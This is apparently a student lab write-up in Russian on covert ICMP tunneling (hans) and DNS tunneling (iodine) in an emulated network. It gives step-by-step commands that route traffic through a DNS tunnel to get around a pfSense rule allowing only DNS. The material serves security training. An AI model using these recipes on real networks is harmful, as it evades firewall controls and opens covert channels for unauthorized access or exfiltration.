---
# System prepended metadata

title: 'Практика №7. Скрытое туннелирование ICMP, DNS'

---

# Практика №7. Скрытое туннелирование ICMP, DNS


## Построить инфраструктуру в системе EVE-NG (есть возможность ее импортировать)
Для работы был скачан образ pnet-lab не требующий импорта. Образ был успешно разархивирован и запущен в vmware.
![](https://i.imgur.com/PZdgk5n.jpg)

Далее в редакторе была построена инфраструктура организации.
- Kali Linux - Linux Kali 2022 (2CPU, 2GB RAM) x2
- DNS-server - winserver-16en (2CPU, 2GB RAM) x2
- pfSense - PfSense Firewall 2.6.0, default config (Qemu version 4.1.0, 2CPU, 2GB RAM, Primary Console VNC)
- Switch - Cisco IOL-L2-ADVIPSERVICESK9 (2 port-groups)
- Debian - Linux Debian 10 (1CPU, 1GB RAM)
- Linux-vulnerable - Linux Debian 10 (1CPU, 1GB RAM)
- Win-10 - Windows 10 (full) (2CPU, 2GB RAM)
- Win-7 - Windows 7 (full) (QEMU 2.12, 4CPU, 4GB RAM)
- Network:
    - Pfsense Default config (WAN-DHCP, LAN - static IP)
    - Internet - Cloud-1
    - VLAN-10 - 172.16.10.0/24, GW 172.16.10.254
    - VLAN-20 - 172.16.20.0/24, GW 172.16.20.254

![](https://hackmd.io/_uploads/SykZHftB3.png)

:::spoiler Switch config
```
version 15.2
service timestamps debug datetime msec
service timestamps log datetime msec
no service password-encryption
service compress-config
!
hostname Switch
!
boot-start-marker
boot-end-marker
!
!
!
no aaa new-model
!
!
!
!
!
!
!
!
ip cef
no ipv6 cef
!
!
!
spanning-tree mode pvst
spanning-tree extend system-id
!
vlan internal allocation policy ascending
!
!
!
!
!
!
!
!
!
!
!
!
!
!
interface Ethernet0/0
 description Debian
 switchport trunk encapsulation dot1q
 switchport mode trunk
!
interface Ethernet0/1
 description Linux-Vulnerable
 switchport mode access
!
interface Ethernet0/2
 description win-7
 switchport access vlan 10
 switchport mode access
!
interface Ethernet0/3
 description DNS-int
 switchport mode access
!
interface Ethernet1/0
 description win-10
 switchport access vlan 20
 switchport mode access
!
interface Ethernet1/1
 description Kali-int
 switchport mode access
!
interface Ethernet1/2
!
interface Ethernet1/3
!
ip forward-protocol nd
!
!
no ip http server
no ip http secure-server
!
!
!
!
!
control-plane
!
!
line con 0
 logging synchronous
line aux 0
line vty 0 4
 login
!
!
end
```
:::
:::spoiler Настройка файервола
```
WAN (wan)        -> vtnet0        -> v4/DHCP4: 192.168.19.163/24
LAN (lan)        -> vtnet1        -> v4: 172.16.1.1/24
OPT1 (opt1)      -> vtnet1.10     -> v4: 172.16.10.254/24
OPT2 (opt2)      -> vtnet1.20     -> v4: 172.16.20.254/24
```
Настроенные VLAN
![](https://i.imgur.com/KcDS8r7.jpg)

На дефолт vlan
![](https://i.imgur.com/6b8Lkq4.jpg)

На vlan10
![](https://i.imgur.com/bfCFrDz.jpg)

На vlan20
![](https://i.imgur.com/Sl8MHkB.jpg)

Настройка правил фаерволла для созданных vlan
![](https://i.imgur.com/ySuq2vJ.jpg)
![](https://i.imgur.com/RqxHEFM.jpg)

:::
## Настроить каждое устройство в соответсвии со следующими параметрами
### Kali-2021, Win-7, Win-10, Debian - получение адреса DHCP
pfSense выступает в роли DHCP сервера и выдает ip для машин.

### Настройка Kali
Назначение статического ip, чтобы каждый раз не менять конфиги
![](https://hackmd.io/_uploads/By5TmGtBh.png)

### Win-7
![](https://i.imgur.com/rrOIbwj.jpg)

### Win-10
![](https://i.imgur.com/ajapyAk.jpg)

### Debian
*dhclient, чтобы он запросил IP у DHCP сервера*
`apt install bridge-utils`
`nano /etc/network/interfaces`
![](https://i.imgur.com/UyBNl4P.jpg)
После - ребутнуть либо через `systemctl restart networiking`, либо всю машину целиком
![](https://i.imgur.com/7B2Gq3H.jpg)
*dhclient, чтобы он запросил IP у DHCP сервера*

Для того, чтобы установить hans, необходимо предварительно скачать определенные пакеты:
`apt install git`
`apt install net-tools`
`apt install g++`
`apt install make`

### Linux-vulnerable
*dhclient, чтобы он запросил IP у DHCP сервера*
На этом устройстве будет показан пример простого DNS туннелирования. Поэтому, необходимо будет скачать iodine.
`apt install iodine`

## ICMP Туннелирование
Первым делом необходимо скачать и на Kali, и на Debian утилиту hans `https://github.com/friedrich/hans.git`. Потом - сбилдить ее с помощью команды `make`.
Была попытка забрать на Debian сбилденный бинарник через `scp`, но она провалилась тк она явно билдится под конкретную систему с конкретными зависимостями :(
![](https://hackmd.io/_uploads/SJYbNRvSn.jpg)
![](https://hackmd.io/_uploads/S1mxtAPH2.jpg)
![](https://hackmd.io/_uploads/HJ1bF0wrn.jpg)

### Kali
Поднимаем туннель на сервере с помощью комманды `./hans -s 10.8.2.0 -p 123`. Проверяем, что туннель поднялся.
![](https://hackmd.io/_uploads/ryFmKRwr3.jpg)

### Debian
Поднимаем туннель на клиенте с помощью комманды `./hans -c 192.168.19.176 -p 123`. Проверяем, что туннель поднялся.
![](https://hackmd.io/_uploads/rJiF60Prh.jpg)

### Проверка
Проверяем пинг до другого конца туннеля
![](https://hackmd.io/_uploads/rJM35RPHn.jpg)

Подключаемся с Kali по ssh к Debian `ssh root@10.8.2.100`
![](https://hackmd.io/_uploads/rk1e00Prn.jpg)

При попытке что либо написать в консоли кали, на Debian через tcpdump можно будет увидеть подозрительный трафик
![](https://hackmd.io/_uploads/SJlRRADH2.png)

Обычный пинг для сравнения:
![](https://hackmd.io/_uploads/rJ87MJuB3.png)

## Простое DNS Туннелирование
Первым делом необходимо скачать на Linux утилиту iodine. На Kali она уже предустановлена.
![](https://hackmd.io/_uploads/SyQkXJuB3.jpg)

### Kali
Поднимаем туннель на сервере с помощью комманды `iodined 10.8.10.1/24 -c notaksuma.me -P 123`. Проверяем, что туннель поднялся.
![](https://hackmd.io/_uploads/S1tlX1dS3.jpg)
![](https://hackmd.io/_uploads/ByzZX1uSh.jpg)

### Linux
Сначала необходимо изменить конфиг, чтобы дефолт DNS сервером была наша Kali `nano /etc/resolv.conf`
![](https://hackmd.io/_uploads/rJnkBk_H2.png)
Подключаемся к туннелю на клиенте с помощью комманды `iodine notaksuma.me -P 123`. Проверяем, что туннель поднялся.
![](https://hackmd.io/_uploads/rJrBQ1dHh.jpg)
![](https://hackmd.io/_uploads/HJyF7kdBn.jpg)

### Проверка
Проверяем пинг до другого конца туннеля
![](https://hackmd.io/_uploads/HyLHSy_H2.png)

Подключаемся с Kali по ssh к Linux `ssh root@10.8.2.100`
![](https://hackmd.io/_uploads/SySIByOS2.jpg)

## Сложное DNS Туннелирование
### Настройка внешнего DNS-сервера
Первым делом необходимо сменить имя сервера и его ip на `DNS-EXTERNAL` и `192.168.19.100`. Дефолт гейтвей можно посмотреть через `ipconfig`. Дефолт DNS был назначен гугловский `8.8.8.8`. Настроить ip можно через network connections, а имя - с панели сервера.
![](https://hackmd.io/_uploads/HyPg7kYSn.jpg)
![](https://hackmd.io/_uploads/r18b7JYH2.jpg)
После внесения изменений, сервер будет необходимо перезагрузить.

Затем необходимо поднять DNS сервер. Manage -> Add roles and features. Все настройки оставляем по дефолту, кроме панели Server Roles. Там ставим галочку напротив DNS сервера. Нажимаем добавить конфигурацию и ждем, когда оно настроится.
![](https://hackmd.io/_uploads/BJ0WE1FBh.jpg)

Теперь настройка форвардеров. Заходим в Tools -> DNS -> ПКМ на DNS-EXTERNAL -> Properties -> Forwarders. Для внешнего серва настраиваем `8.8.8.8`.
![](https://hackmd.io/_uploads/rkSESkKS3.jpg)

Проверяем, что наш серв может получать DNS ответы. Раз узнаем айпишник сайта, значит все ок.
![](https://hackmd.io/_uploads/HJiPByFH2.jpg)

Время назначить наши зоны на этом серве. Заходим в Tools -> DNS -> ПКМ на Forward Lookup Zones -> New Zone. Добавляем зону, называем ее так, как нам нравится. Все остальные настройки по дефолту.
![](https://hackmd.io/_uploads/SycJ8kYS3.jpg)
![](https://hackmd.io/_uploads/ry1O8JKS3.jpg)

Основная зона создана, теперь можно создать поддомены, с помощью которых мы потом будем перенаправлять трафик на внешнюю Kali. ПКМ на свободное место -> New Host. Сначала необходимо создать основной домен и назначить ему ip внешнего сервера т.е. `192.168.19.100`.
![](https://hackmd.io/_uploads/rJxzIJFB2.jpg)
![](https://hackmd.io/_uploads/B1qz_yFrn.jpg)

Потом создаем поддомен с названием `delegate.cheesekeik.me` и назначаем ip внешней Kali `192.168.19.176`.
![](https://hackmd.io/_uploads/HkE6dyYB2.jpg)

Потом нужно создать делегированную зону. ПКМ на cheesekeik.me -> New Delegation. Называем ее `tunnel.cheesekeik.me`. И указываем в качестве сервера внешнюю Kali с поддоменом `delegate.cheesekeik.me`.
![](https://hackmd.io/_uploads/Sy0aKyYS3.jpg)
![](https://hackmd.io/_uploads/B1BSY1tS2.jpg)
![](https://hackmd.io/_uploads/H1S8FkYr3.jpg)

### Настройка внутреннего DNS-сервера
Первым делом необходимо сменить имя сервера и его ip на `DNS-INTERNAL` и `172.16.1.100`. Дефолт гейтвей можно посмотреть через `ipconfig`. Дефолт DNS был назначен свой собственный `127.0.0.1`. Настроить ip можно через network connections, а имя - с панели сервера.
![](https://hackmd.io/_uploads/ry3O51FH3.jpg)
![](https://hackmd.io/_uploads/B1_591YBh.jpg)
После внесения изменений, сервер будет необходимо перезагрузить.

Затем необходимо поднять DNS сервер. Manage -> Add roles and features. Все настройки оставляем по дефолту, кроме панели Server Roles. Там ставим галочку напротив DNS сервера. Нажимаем добавить конфигурацию и ждем, когда оно настроится.
![](https://hackmd.io/_uploads/BJ0WE1FBh.jpg)

Теперь настройка форвардеров. Заходим в Tools -> DNS -> ПКМ на DNS-INTERNAL -> Properties -> Forwarders. Для внутреннего серва настраиваем `192.168.19.100`. То есть ip внешнего сервера.
![](https://hackmd.io/_uploads/BJfh9JKHh.jpg)

Проверяем, что наш серв может получать DNS ответы. Раз узнаем айпишник сайта, значит все ок.
![](https://hackmd.io/_uploads/SJ8kjyFH3.jpg)

### Настройка внутренней Kali
Для чистоты эксперимента, нужно сначала зайти на файервол и добавить правило, которое запрещало любой трафик, кроме DNS. Firewall -> Rules -> LAN. Протокол - UDP, источник - единственный адрес, внутренний DNS сервер `172.16.1.100`, назначение - 53 порт.
![](https://hackmd.io/_uploads/SJxOqWtS2.jpg)

Затем нужно поменять в `nano /etc/resolv.conf` дефолт DNS сервер, поставить внутренний DNS сервер `172.16.1.100`.
![](https://hackmd.io/_uploads/r1EcnZKHh.jpg)

Проверяем, что даже пинги не работают, а DNS работает.
![](https://hackmd.io/_uploads/SJ1a2bKB2.jpg)

После настройки внешнего и внутреннего сервера проверяем, что мы можем получить ответ от внешнего сервера, обратившись к нашим созданным доменам.
![](https://hackmd.io/_uploads/B1mt6WYHh.jpg)
![](https://hackmd.io/_uploads/SyFKTZFr2.jpg)

### Настройка туннеля

Поднимаем сервер на внешней Kali `iodined 10.8.100.1/24 -c tunnel.cheesekeik.me -P 123`. Проверяем, что туннель поднялся.
![](https://hackmd.io/_uploads/rkdrC-Kr3.jpg)
![](https://hackmd.io/_uploads/SyEL0ZFBn.jpg)

Подключаемся к серверу на внутренней Kali `iodine tunnel.cheesekeik.me -P 123`. Проверяем, что туннель поднялся.
![](https://hackmd.io/_uploads/r1SoRbFHn.jpg)
![](https://hackmd.io/_uploads/r1psA-FH2.jpg)

Пингуем с внутренней Kali другой конец туннеля. Пинг идет. Ура, туннель работает, файервол обходится.
![](https://hackmd.io/_uploads/BkWt1MYH2.jpg)

Но это еще не все. Теперь нужно получить доступ во вне. Настраиваем маршрутизацию. Заставляем трафик идти не через файервол, а через туннель.
`ip route delete default`
`ip route add default via 10.8.100.1`
![](https://hackmd.io/_uploads/r18AkMYHh.jpg)

На внешней Kali настраиваем маршрутизацию трафика между интерфейсами
`iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE`
`nano /etc/sysctl.conf` раскомментить строку net.ipv4.ip_forward = 1
![](https://hackmd.io/_uploads/SkE8xMtrh.jpg)

### Проверка
Пробуем с внутренней Kali выйти в интернет и пропинговать что-нибудь. Работает, ура, победа.
![](https://hackmd.io/_uploads/ByXN-GYH3.jpg)

Также, если на Debian проверить идущие пакеты через tcpdump, то можно увидеть, что трафик идет именно через DNS благодаря подмене доменов.
![](https://hackmd.io/_uploads/HyBK-GFrn.jpg)
